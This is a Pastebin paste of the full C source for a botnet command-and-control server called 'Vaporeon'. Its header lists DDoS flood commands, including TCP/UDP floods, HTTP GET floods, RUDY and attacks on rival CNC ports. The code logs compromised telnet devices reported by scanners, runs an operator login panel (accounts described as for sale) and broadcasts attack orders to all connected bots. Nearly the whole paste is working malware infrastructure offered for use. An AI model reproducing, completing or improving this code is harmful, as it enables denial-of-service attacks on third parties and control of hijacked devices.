Advertisement
Guest User

Untitled

a guest
Feb 15th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.41 KB | None | 0 0
  1. // ____ ____
  2. // \ \ / /____ ______ ___________ ____ ____ ____
  3. // \ Y /\__ \ \____ \ / _ \_ __ \_/ __ \/ _ \ / \
  4. // \ / / __ \| |_> > <_> ) | \/\ ___( <_> ) | \
  5. // \___/ (____ / __/ \____/|__| \___ >____/|___| /
  6. // \/|__| \/ \/
  7.  
  8. // [ DDoS Commands ]
  9. // !* TCP host port time 32 100-9000 10 'Sends a tcp based flood to specified target, methods include ALL,SYN,ACK,FIN,RST, and PSH.
  10. // !* UDP host port time 32 100-9000 10 'Sends a udp based flood to specified target, with a fixed packet size and interval.
  11. // !* STD host port time 'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam.
  12. // !* HTTP $host time 'Sends a http get flood to specified target, using an array of browser useragents.
  13. // !* R-U-DED $host port time 'Sends a are you dead yet attack which is meant for game servers, it floods the ram with nonsense causing it to crash.
  14. // !* CNC $host $port time 'Sends all of your bots to the user port of someones net and crashes it, you must know there operator port or else it wont work.
  15. // !* HTTP IP PORT / TIME SIZE 'Sends a get head r post attack to a website can be used for home connections but isnt effective'
  16.  
  17. // [ Misc Command ]
  18. // HELP 'Shows list of commands
  19. // LOGOUT 'Logout of your account
  20. // CLEAR 'Clears the screen
  21. // KILL 'Kills All of the outgoing attacks
  22. // BOTKILL 'Basically destroys all the bots & disconnects them from the botnet
  23. // COUNT 'displays how many bots & users are connected
  24.  
  25. //MADE DATE 9/9/16
  26.  
  27. //special thanks to HDG Zero for the helpline
  28.  
  29. //Skype narcotix.
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <stdint.h>
  34. #include <inttypes.h>
  35. #include <string.h>
  36. #include <sys/types.h>
  37. #include <sys/socket.h>
  38. #include <netdb.h>
  39. #include <unistd.h>
  40. #include <time.h>
  41. #include <fcntl.h>
  42. #include <sys/epoll.h>
  43. #include <errno.h>
  44. #include <pthread.h>
  45. #include <signal.h>
  46. #include <arpa/inet.h>
  47. #define MAXFDS 1000000
  48.  
  49. struct login_info {
  50. char username[100];
  51. char password[100];
  52. };
  53. static struct login_info accounts[100]; //Edit if selling spots
  54. struct clientdata_t {
  55. uint32_t ip;
  56. char connected;
  57. } clients[MAXFDS];
  58. struct telnetdata_t {
  59. int connected;
  60. } managements[MAXFDS];
  61. struct args {
  62. int sock;
  63. struct sockaddr_in cli_addr;
  64. };
  65. static volatile FILE *telFD;
  66. static volatile FILE *fileFD;
  67. static volatile int epollFD = 0;
  68. static volatile int listenFD = 0;
  69. static volatile int OperatorsConnected = 0;
  70. static volatile int TELFound = 0;
  71. static volatile int scannerreport;
  72.  
  73. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  74. int total = 0, got = 1;
  75. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  76. return got;
  77. }
  78. void trim(char *str) {
  79. int i;
  80. int begin = 0;
  81. int end = strlen(str) - 1;
  82. while (isspace(str[begin])) begin++;
  83. while ((end >= begin) && isspace(str[end])) end--;
  84. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  85. str[i - begin] = '\0';
  86. }
  87. static int make_socket_non_blocking (int sfd) {
  88. int flags, s;
  89. flags = fcntl (sfd, F_GETFL, 0);
  90. if (flags == -1) {
  91. perror ("fcntl");
  92. return -1;
  93. }
  94. flags |= O_NONBLOCK;
  95. s = fcntl (sfd, F_SETFL, flags);
  96. if (s == -1) {
  97. perror ("fcntl");
  98. return -1;
  99. }
  100. return 0;
  101. }
  102. static int create_and_bind (char *port) {
  103. struct addrinfo hints;
  104. struct addrinfo *result, *rp;
  105. int s, sfd;
  106. memset (&hints, 0, sizeof (struct addrinfo));
  107. hints.ai_family = AF_UNSPEC;
  108. hints.ai_socktype = SOCK_STREAM;
  109. hints.ai_flags = AI_PASSIVE;
  110. s = getaddrinfo (NULL, port, &hints, &result);
  111. if (s != 0) {
  112. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  113. return -1;
  114. }
  115. for (rp = result; rp != NULL; rp = rp->ai_next) {
  116. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  117. if (sfd == -1) continue;
  118. int yes = 1;
  119. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  120. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  121. if (s == 0) {
  122. break;
  123. }
  124. close (sfd);
  125. }
  126. if (rp == NULL) {
  127. fprintf (stderr, "Could not bind\n");
  128. return -1;
  129. }
  130. freeaddrinfo (result);
  131. return sfd;
  132. }
  133. void broadcast(char *msg, int us, char *sender)
  134. {
  135. int sendMGM = 1;
  136. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  137. char *wot = malloc(strlen(msg) + 10);
  138. memset(wot, 0, strlen(msg) + 10);
  139. strcpy(wot, msg);
  140. trim(wot);
  141. time_t rawtime;
  142. struct tm * timeinfo;
  143. time(&rawtime);
  144. timeinfo = localtime(&rawtime);
  145. char *timestamp = asctime(timeinfo);
  146. trim(timestamp);
  147. int i;
  148. for(i = 0; i < MAXFDS; i++)
  149. {
  150. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  151. if(sendMGM && managements[i].connected)
  152. {
  153. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  154. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  155. send(i, ": ", 2, MSG_NOSIGNAL);
  156. }
  157. printf("sent to fd: %d\n", i);
  158. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  159. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m> \x1b[0m", 13, MSG_NOSIGNAL);
  160. else send(i, "\n", 1, MSG_NOSIGNAL);
  161. }
  162. free(wot);
  163. }
  164. void *BotEventLoop(void *useless) {
  165. struct epoll_event event;
  166. struct epoll_event *events;
  167. int s;
  168. events = calloc (MAXFDS, sizeof event);
  169. while (1) {
  170. int n, i;
  171. n = epoll_wait (epollFD, events, MAXFDS, -1);
  172. for (i = 0; i < n; i++) {
  173. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  174. clients[events[i].data.fd].connected = 0;
  175. close(events[i].data.fd);
  176. continue;
  177. }
  178. else if (listenFD == events[i].data.fd) {
  179. while (1) {
  180. struct sockaddr in_addr;
  181. socklen_t in_len;
  182. int infd, ipIndex;
  183.  
  184. in_len = sizeof in_addr;
  185. infd = accept (listenFD, &in_addr, &in_len);
  186. if (infd == -1) {
  187. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  188. else {
  189. perror ("accept");
  190. break;
  191. }
  192. }
  193.  
  194. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  195. int dup = 0;
  196. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  197. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  198. if(clients[ipIndex].ip == clients[infd].ip) {
  199. dup = 1;
  200. break;
  201. }}
  202. if(dup) {
  203. if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  204. close(infd);
  205. continue;
  206. }
  207. s = make_socket_non_blocking (infd);
  208. if (s == -1) { close(infd); break; }
  209. event.data.fd = infd;
  210. event.events = EPOLLIN | EPOLLET;
  211. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  212. if (s == -1) {
  213. perror ("epoll_ctl");
  214. close(infd);
  215. break;
  216. }
  217. clients[infd].connected = 1;
  218. }
  219. continue;
  220. }
  221. else {
  222. int datafd = events[i].data.fd;
  223. struct clientdata_t *client = &(clients[datafd]);
  224. int done = 0;
  225. client->connected = 1;
  226. while (1) {
  227. ssize_t count;
  228. char buf[2048];
  229. memset(buf, 0, sizeof buf);
  230. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  231. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  232. trim(buf);
  233. if(strcmp(buf, "PING") == 0) {
  234. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  235. continue;
  236. }
  237. if(strstr(buf, "REPORT ") == buf) {
  238. char *line = strstr(buf, "REPORT ") + 7;
  239. fprintf(telFD, "%s\n", line);
  240. fflush(telFD);
  241. TELFound++;
  242. continue;
  243. }
  244. if(strstr(buf, "PROBING") == buf) {
  245. char *line = strstr(buf, "PROBING");
  246. scannerreport = 1;
  247. continue;
  248. }
  249. if(strstr(buf, "REMOVING PROBE") == buf) {
  250. char *line = strstr(buf, "REMOVING PROBE");
  251. scannerreport = 0;
  252. continue;
  253. }
  254. if(strcmp(buf, "PONG") == 0) {
  255. continue;
  256. }
  257. printf("buf: \"%s\"\n", buf);
  258. }
  259. if (count == -1) {
  260. if (errno != EAGAIN) {
  261. done = 1;
  262. }
  263. break;
  264. }
  265. else if (count == 0) {
  266. done = 1;
  267. break;
  268. }
  269. if (done) {
  270. client->connected = 0;
  271. close(datafd);
  272. }}}}}}
  273. unsigned int BotsConnected() {
  274. int i = 0, total = 0;
  275. for(i = 0; i < MAXFDS; i++) {
  276. if(!clients[i].connected) continue;
  277. total++;
  278. }
  279. return total;
  280. }
  281. void *TitleWriter(void *sock) {
  282. int datafd = (int)sock;
  283. char string[2048];
  284. while(1) {
  285. memset(string, 0, 2048);
  286. sprintf(string, "%c]0; Bots: %d | Telnet Devices: %d | Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  287. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  288. sleep(2);
  289. }}
  290. int Find_Login(char *str) {
  291. FILE *fp;
  292. int line_num = 0;
  293. int find_result = 0, find_line=0;
  294. char temp[512];
  295.  
  296. if((fp = fopen("login.txt", "r")) == NULL){
  297. return(-1);
  298. }
  299. while(fgets(temp, 512, fp) != NULL){
  300. if((strstr(temp, str)) != NULL){
  301. find_result++;
  302. find_line = line_num;
  303. }
  304. line_num++;
  305. }
  306. if(fp)
  307. fclose(fp);
  308. if(find_result == 0)return 0;
  309. return find_line;
  310. }
  311. void *BotWorker(void *sock) {
  312. int datafd = (int)sock;
  313. int find_line;
  314. OperatorsConnected++;
  315. pthread_t title;
  316. char buf[2048];
  317. char* username;
  318. char* password;
  319. memset(buf, 0, sizeof buf);
  320. char botnet[2048];
  321. memset(botnet, 0, 2048);
  322. char botcount [2048];
  323. memset(botcount, 0, 2048);
  324. char statuscount [2048];
  325. memset(statuscount, 0, 2048);
  326.  
  327. FILE *fp;
  328. int i=0;
  329. int c;
  330. fp=fopen("login.txt", "r");
  331. while(!feof(fp)) {
  332. c=fgetc(fp);
  333. ++i;
  334. }
  335. int j=0;
  336. rewind(fp);
  337. while(j!=i-1) {
  338. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  339. ++j;
  340. }
  341.  
  342. if(send(datafd, "\x1b[30mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  343. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  344. trim(buf);
  345. char* nickstring;
  346. sprintf(accounts[find_line].username, buf);
  347. nickstring = ("%s", buf);
  348. find_line = Find_Login(nickstring);
  349. if(strcmp(nickstring, accounts[find_line].username) == 0){
  350. if(send(datafd, "\x1b[30mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  351. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  352.  
  353. char clearscreen [2048];
  354. memset(clearscreen, 0, 2048);
  355. sprintf(clearscreen, "\033[1A");
  356. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  357.  
  358. trim(buf);
  359. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  360. memset(buf, 0, 2048);
  361. goto Banner;
  362. }
  363. failed:
  364. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  365. char failed_line1[100];
  366. char failed_line2[100];
  367. char failed_line3[100];
  368. char failed_line4[100];
  369. char failed_line5[100];
  370. char failed_line6[100];
  371. char failed_line7[100];
  372. char failed_line8[100];
  373. char failed_line9[100];
  374. char failed_line10[100];
  375. char failed_line11[100];
  376. char failed_line12[100];
  377.  
  378. sprintf(failed_line1, "\x1b[0;37m IF YOU'RE HERE YOU DID SOMETHING WRONG. \r\n");
  379. sprintf(failed_line2, "\x1b[0;37m EITHER CONTACT AN ADMIN OF THE NET TO RECIEVE YOUR LOGIN. \r\n");
  380. sprintf(failed_line3, "\x1b[0;37m OR IF YOU'RE SURE THAT YOUR LOGIN IS CORRECT THEN YOU HAVE BEEN REMOVED FROM THE NET. \r\n");
  381. sprintf(failed_line4, "\x1b[0;37m NOW YOUR HAVE TEN SECONDS TO LEAVE OR GET NULLED! \r\n");
  382. sprintf(failed_line5, "\x1b[0;37mONE ...\r\n");
  383. sprintf(failed_line6,"\x1b[0;37mTWO ...\r\n");
  384. sprintf(failed_line7,"\x1b[0;37mTHREE ...\r\n");
  385. sprintf(failed_line8,"\x1b[0;37mHAH GET NULLED BITCH\r\n");
  386. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  387. sleep(3);
  388. if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  389. sleep(3);
  390. if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  391. sleep(3);
  392. if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  393. sleep(3);
  394. if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  396. sleep(3);
  397. if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  398. sleep(3);
  399. if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  400. sleep(3);
  401. goto end;
  402.  
  403. Banner:
  404. pthread_create(&title, NULL, &TitleWriter, sock);
  405. char ascii_banner_line1 [5000];
  406. char ascii_banner_line2 [5000];
  407. char ascii_banner_line3 [5000];
  408. char ascii_banner_line4 [5000];
  409. char ascii_banner_line5 [5000];
  410. char ascii_banner_line6 [5000];
  411. char ascii_banner_line7 [5000];
  412. char ascii_banner_line8 [5000];
  413. char ascii_banner_line9 [5000];
  414. char ascii_banner_line10 [5000];
  415. char welcome_line [5000];
  416.  
  417. sprintf(ascii_banner_line1, "\x1b[0;34m ██▒ █▓ ▄▄▄ ██▓███ ▒█████ ██▀███ ▓█████ ▒█████ ███▄ █ \r\n");
  418. sprintf(ascii_banner_line2, "\x1b[0;34m ▓██░ █▒▒████▄ ▓██░ ██▒▒██▒ ██▒▓██ ▒ ██▒▓█ ▀ ▒██▒ ██▒ ██ ▀█ █ \r\n");
  419. sprintf(ascii_banner_line3, "\x1b[0;34m ▓██ █▒░▒██ ▀█▄ ▓██░ ██▓▒▒██░ ██▒▓██ ░▄█ ▒▒████ ▒██░ ██▒▓██ ▀█ ██▒ \r\n");
  420. sprintf(ascii_banner_line3, "\x1b[0;34m ▒██ █░░░██▄▄▄▄██ ▒██▄█▓▒ ▒▒██ ██░▒██▀▀█▄ ▒██ ▄ ▒██ ██░▓██▒ ▐▌██▒ \r\n");
  421. sprintf(ascii_banner_line4, "\x1b[0;34m ▒▀█░ ▓█ ▓██▒▒██▒ ░ ░░ ████▓▒░░██▓ ▒██▒░█████▒░ ████▓▒░▒██░ ▓██░ \r\n");
  422. sprintf(ascii_banner_line5, "\x1b[0;34m ░ ▐░ ▒▒ ▓▒█░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░░░ ▒░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ \r\n");
  423. sprintf(ascii_banner_line6, "\x1b[0;34m ░ ░░ ▒ ▒▒ ░░▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ \r\n");
  424. sprintf(ascii_banner_line7, "\x1b[0;34m ░░ ░ ▒ ░░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ \r\n");
  425. sprintf(ascii_banner_line9, "\x1b[0;34m ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n");
  426. sprintf(ascii_banner_line10, "\x1b[0;34m ░ \r\n");
  427. sprintf(welcome_line, "\x1b[0;34m ~[\x1b[0;31m Welcome, \x1b[0;34m%s]~\r\n", accounts[find_line].username);
  428.  
  429. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  440. while(1) {
  441. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  442. break;
  443. }
  444. pthread_create(&title, NULL, &TitleWriter, sock);
  445. managements[datafd].connected = 1;
  446.  
  447. while(fdgets(buf, sizeof buf, datafd) > 0) {
  448. if(strstr(buf, "COUNT")) {
  449. char botcount [5000];
  450. memset(botcount, 0, 5000);
  451. sprintf(botcount, "\x1b[0;37mBots: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected);
  452. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  453. while(1) {
  454. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  455. break;
  456. }
  457. continue;
  458. }
  459. if(strstr(buf, "HELP")) {
  460. pthread_create(&title, NULL, &TitleWriter, sock);
  461. char helpline1 [5000];
  462. char helpline2 [5000];
  463. char helpline3 [5000];
  464. char helpline4 [5000];
  465. char helpline5 [5000];
  466. char helpline6 [5000];
  467. char helpline7 [5000];
  468. char helpline8 [5000];
  469. char helpline9 [5000];
  470. char helpline10 [5000];
  471. char helpline11 [5000];
  472. char helpline12 [5000];
  473. char helpline13 [5000];
  474.  
  475. sprintf(helpline1, "\x1b[1;33m ~ [ \x1b[0;31mDDOS COMMANDS \x1b[1;33m] ~\r\n");
  476. sprintf(helpline2, "\x1b[1;33m ~ [ \x1b[0;31mTCP\x1b[1;33m ] ~ \x1b[0;34m!* TCP host port time 32 Method 100 10\r\n");
  477. sprintf(helpline3, "\x1b[1;33m ~ [ \x1b[0;31mUDP\x1b[1;33m ] ~ \x1b[0;34m!* UDP host port time 32 32 100 10\r\n");
  478. sprintf(helpline4, "\x1b[1;33m ~ [ \x1b[0;31mSTD\x1b[1;33m ] ~ \x1b[0;34m!* STD host port time 32\r\n");
  479. sprintf(helpline5, "\x1b[1;33m ~ [ \x1b[0;31mHTTP\x1b[1;33m ] ~ \x1b[0;34m!* HTTP host port / time size\r\n");
  480. sprintf(helpline6, "\x1b[1;33m ~ [ \x1b[0;31mRUDY\x1b[1;33m ] ~ \x1b[0;34m!* RUDY host port time\r\n");
  481. sprintf(helpline7, "\x1b[1;33m ~ [ \x1b[0;31mCNC\x1b[1;33m ] ~ \x1b[0;34m!* CNC host port time\r\n");
  482. sprintf(helpline8, "\x1b[1;33m ~ [ \x1b[;31mMISC COMMANDS \x1b[1;33m] ~\r\n");
  483. sprintf(helpline9, "\x1b[1;33m ~ [ \x1b[0;31mKILL\x1b[1;33m ] ~ \x1b[0;34mKILL\r\n");
  484. sprintf(helpline10, "\x1b[1;33m ~ [ \x1b[0;31mLOGOUT\x1b[1;33m ] ~ \x1b[0;34mLOGOUT\r\n");
  485. sprintf(helpline11, "\x1b[1;33m ~ [ \x1b[0;31mCLEAR\x1b[1;33m ] ~ \x1b[0;34mCLEAR\r\n");
  486. sprintf(helpline12, "\x1b[1;33m ~ [ \x1b[0;31mCOUNT\x1b[1;33m ] ~ \x1b[0;34mCOUNT\r\n");
  487. sprintf(helpline13, "\x1b[1;33m ~ [ \x1b[0;31mGTFO\x1b[1;33m ] ~ \x1b[0;34mGTFO\r\n");
  488.  
  489.  
  490. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  502. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  503. pthread_create(&title, NULL, &TitleWriter, sock);
  504. while(1) {
  505. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  506. break;
  507. }
  508. continue;
  509. }
  510. if(strstr(buf, "GTFO")) {
  511. char gtfomynet [2048];
  512. memset(gtfomynet, 0, 2048);
  513. sprintf(gtfomynet, "!* LOLNOGTFO\r\n");
  514. broadcast(buf, datafd, gtfomynet);
  515. continue;
  516. }
  517. if(strstr(buf, "KILL"))
  518. {
  519. char killattack [2048];
  520. memset(killattack, 0, 2048);
  521. char killattack_msg [2048];
  522.  
  523. sprintf(killattack, "!* KILLATTK\r\n");
  524. broadcast(killattack, datafd, "KILL THAT SHIT");
  525. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  526. continue;
  527. }
  528. if(strstr(buf, "CLEAR")) {
  529. char clearscreen [2048];
  530. memset(clearscreen, 0, 2048);
  531. sprintf(clearscreen, "\033[2J\033[1;1H");
  532. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  533. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  534. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  535. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  536. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  538. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  544. while(1) {
  545. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  546. break;
  547. }
  548. continue;
  549. }
  550. if(strstr(buf, "LOGOUT")) {
  551. char logoutmessage [2048];
  552. memset(logoutmessage, 0, 2048);
  553. sprintf(logoutmessage, "See you later, %s", accounts[find_line].username);
  554. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  555. sleep(2);
  556. goto end;
  557. }
  558.  
  559. trim(buf);
  560. if(send(datafd, "\x1b[0;37m> \x1b[37m", 11, MSG_NOSIGNAL) == -1) goto end;
  561. if(strlen(buf) == 0) continue;
  562. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  563.  
  564. FILE *LogFile;
  565. LogFile = fopen("history.log", "a");
  566. time_t now;
  567. struct tm *gmt;
  568. char formatted_gmt [50];
  569. char lcltime[50];
  570. now = time(NULL);
  571. gmt = gmtime(&now);
  572. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  573. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  574. fclose(LogFile);
  575. broadcast(buf, datafd, accounts[find_line].username);
  576. memset(buf, 0, 2048);
  577. }
  578.  
  579. end:
  580. managements[datafd].connected = 0;
  581. close(datafd);
  582. OperatorsConnected--;
  583. }
  584. void *BotListener(int port) {
  585. int sockfd, newsockfd;
  586. socklen_t clilen;
  587. struct sockaddr_in serv_addr, cli_addr;
  588. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  589. if (sockfd < 0) perror("ERROR opening socket");
  590. bzero((char *) &serv_addr, sizeof(serv_addr));
  591. serv_addr.sin_family = AF_INET;
  592. serv_addr.sin_addr.s_addr = INADDR_ANY;
  593. serv_addr.sin_port = htons(port);
  594. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  595. listen(sockfd,5);
  596. clilen = sizeof(cli_addr);
  597. while(1) {
  598. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  599. if (newsockfd < 0) perror("ERROR on accept");
  600. pthread_t thread;
  601. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  602. }}
  603. int main (int argc, char *argv[], void *sock) {
  604. signal(SIGPIPE, SIG_IGN);
  605. int s, threads, port;
  606. struct epoll_event event;
  607. if (argc != 4) {
  608. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  609. exit (EXIT_FAILURE);
  610. }
  611. port = atoi(argv[3]);
  612. telFD = fopen("telnet.txt", "a+");
  613. threads = atoi(argv[2]);
  614. listenFD = create_and_bind (argv[1]);
  615. if (listenFD == -1) abort ();
  616. s = make_socket_non_blocking (listenFD);
  617. if (s == -1) abort ();
  618. s = listen (listenFD, SOMAXCONN);
  619. if (s == -1) {
  620. perror ("listen");
  621. abort ();
  622. }
  623. epollFD = epoll_create1 (0);
  624. if (epollFD == -1) {
  625. perror ("epoll_create");
  626. abort ();
  627. }
  628. event.data.fd = listenFD;
  629. event.events = EPOLLIN | EPOLLET;
  630. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  631. if (s == -1) {
  632. perror ("epoll_ctl");
  633. abort ();
  634. }
  635. pthread_t thread[threads + 2];
  636. while(threads--) {
  637. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  638. }
  639. pthread_create(&thread[0], NULL, &BotListener, port);
  640. while(1) {
  641. broadcast("PING", -1, "VAPE");
  642. sleep(60);
  643. }
  644. close (listenFD);
  645. return EXIT_SUCCESS;
  646. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement